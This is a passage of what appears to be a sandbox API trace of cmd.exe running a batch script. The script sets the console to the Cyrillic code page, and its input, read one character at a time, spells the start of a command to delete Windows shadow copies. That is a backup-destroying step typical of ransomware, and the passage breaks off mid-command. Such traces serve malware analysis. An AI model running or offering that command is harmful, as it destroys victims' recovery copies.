(_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.175] GetProcessHeap () returned 0x1b0000 [0036.175] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4640 | out: hHeap=0x1b0000) returned 1 [0036.176] GetProcessHeap () returned 0x1b0000 [0036.176] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c8900 [0036.176] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ef00*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16eeb0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x16eeb0*(hProcess=0x54, hThread=0x50, dwProcessId=0x9f8, dwThreadId=0x9fc)) returned 1 [0036.185] CloseHandle (hObject=0x50) returned 1 [0036.185] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0036.185] GetProcessHeap () returned 0x1b0000 [0036.185] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc230 | out: hHeap=0x1b0000) returned 1 [0036.185] GetEnvironmentStringsW () returned 0x1caa10* [0036.185] GetProcessHeap () returned 0x1b0000 [0036.185] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xae8) returned 0x1cb500 [0036.185] FreeEnvironmentStringsW (penv=0x1caa10) returned 1 [0036.185] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0036.185] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0036.185] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x16e7b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x16e7b8, ReturnLength=0x0) returned 0x0 [0036.185] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x16e7f0, nSize=0x380, lpNumberOfBytesRead=0x16e7b0 | out: lpBuffer=0x16e7f0*, lpNumberOfBytesRead=0x16e7b0*=0x380) returned 1 [0036.185] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0037.070] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x16edf8 | out: lpExitCode=0x16edf8*=0x0) returned 1 [0037.070] CloseHandle (hObject=0x54) returned 1 [0037.070] _vsnwprintf (in: _Buffer=0x16f068, _BufferCount=0x13, _Format="%08X", _ArgList=0x16ee08 | out: _Buffer="00000000") returned 8 [0037.070] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0037.070] GetProcessHeap () returned 0x1b0000 [0037.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cb500 | out: hHeap=0x1b0000) returned 1 [0037.070] GetEnvironmentStringsW () returned 0x1caa10* [0037.070] GetProcessHeap () returned 0x1b0000 [0037.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1ceb10 [0037.071] FreeEnvironmentStringsW (penv=0x1caa10) returned 1 [0037.071] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0037.071] GetProcessHeap () returned 0x1b0000 [0037.071] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ceb10 | out: hHeap=0x1b0000) returned 1 [0037.071] GetEnvironmentStringsW () returned 0x1caa10* [0037.071] GetProcessHeap () returned 0x1b0000 [0037.071] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1ceb10 [0037.071] FreeEnvironmentStringsW (penv=0x1caa10) returned 1 [0037.071] GetProcessHeap () returned 0x1b0000 [0037.071] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0037.071] DeleteProcThreadAttributeList (in: lpAttributeList=0x16eec8 | out: lpAttributeList=0x16eec8) [0037.090] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0037.091] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.091] SetConsoleMode (hConsoleHandle=0x2d0, dwMode=0x0) returned 0 [0037.091] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.091] GetConsoleMode (in: hConsoleHandle=0x2d0, lpMode=0x4a05e194 | out: lpMode=0x4a05e194) returned 0 [0037.091] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.091] GetConsoleMode (in: hConsoleHandle=0x2c4, lpMode=0x4a05e198 | out: lpMode=0x4a05e198) returned 0 [0037.092] GetConsoleOutputCP () returned 0x4e3 [0037.092] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a06bfe0 | out: lpCPInfo=0x4a06bfe0) returned 1 [0037.092] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b00 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1cd0 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9a80 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0037.092] GetProcessHeap () returned 0x1b0000 [0037.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0037.093] _vsnwprintf (in: _Buffer=0x4a076340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f328 | out: _Buffer="\r\n") returned 2 [0037.093] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.093] GetFileType (hFile=0x2d0) returned 0x3 [0037.093] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.093] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0037.093] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f2f8, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f2f8*=0x2, lpOverlapped=0x0) returned 1 [0037.093] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0037.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a06c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.093] _vsnwprintf (in: _Buffer=0x4a05eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16f338 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0037.093] _vsnwprintf (in: _Buffer=0x4a05ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16f338 | out: _Buffer=">") returned 1 [0037.093] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.093] GetFileType (hFile=0x2d0) returned 0x3 [0037.093] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.093] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0037.093] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x16f328, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f328*=0x26, lpOverlapped=0x0) returned 1 [0037.093] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.093] GetFileType (hFile=0x2c4) returned 0x3 [0037.093] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.093] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.093] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.093] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0037.093] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.093] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.094] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0037.094] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.094] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.094] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0037.095] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.095] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.095] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.095] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, 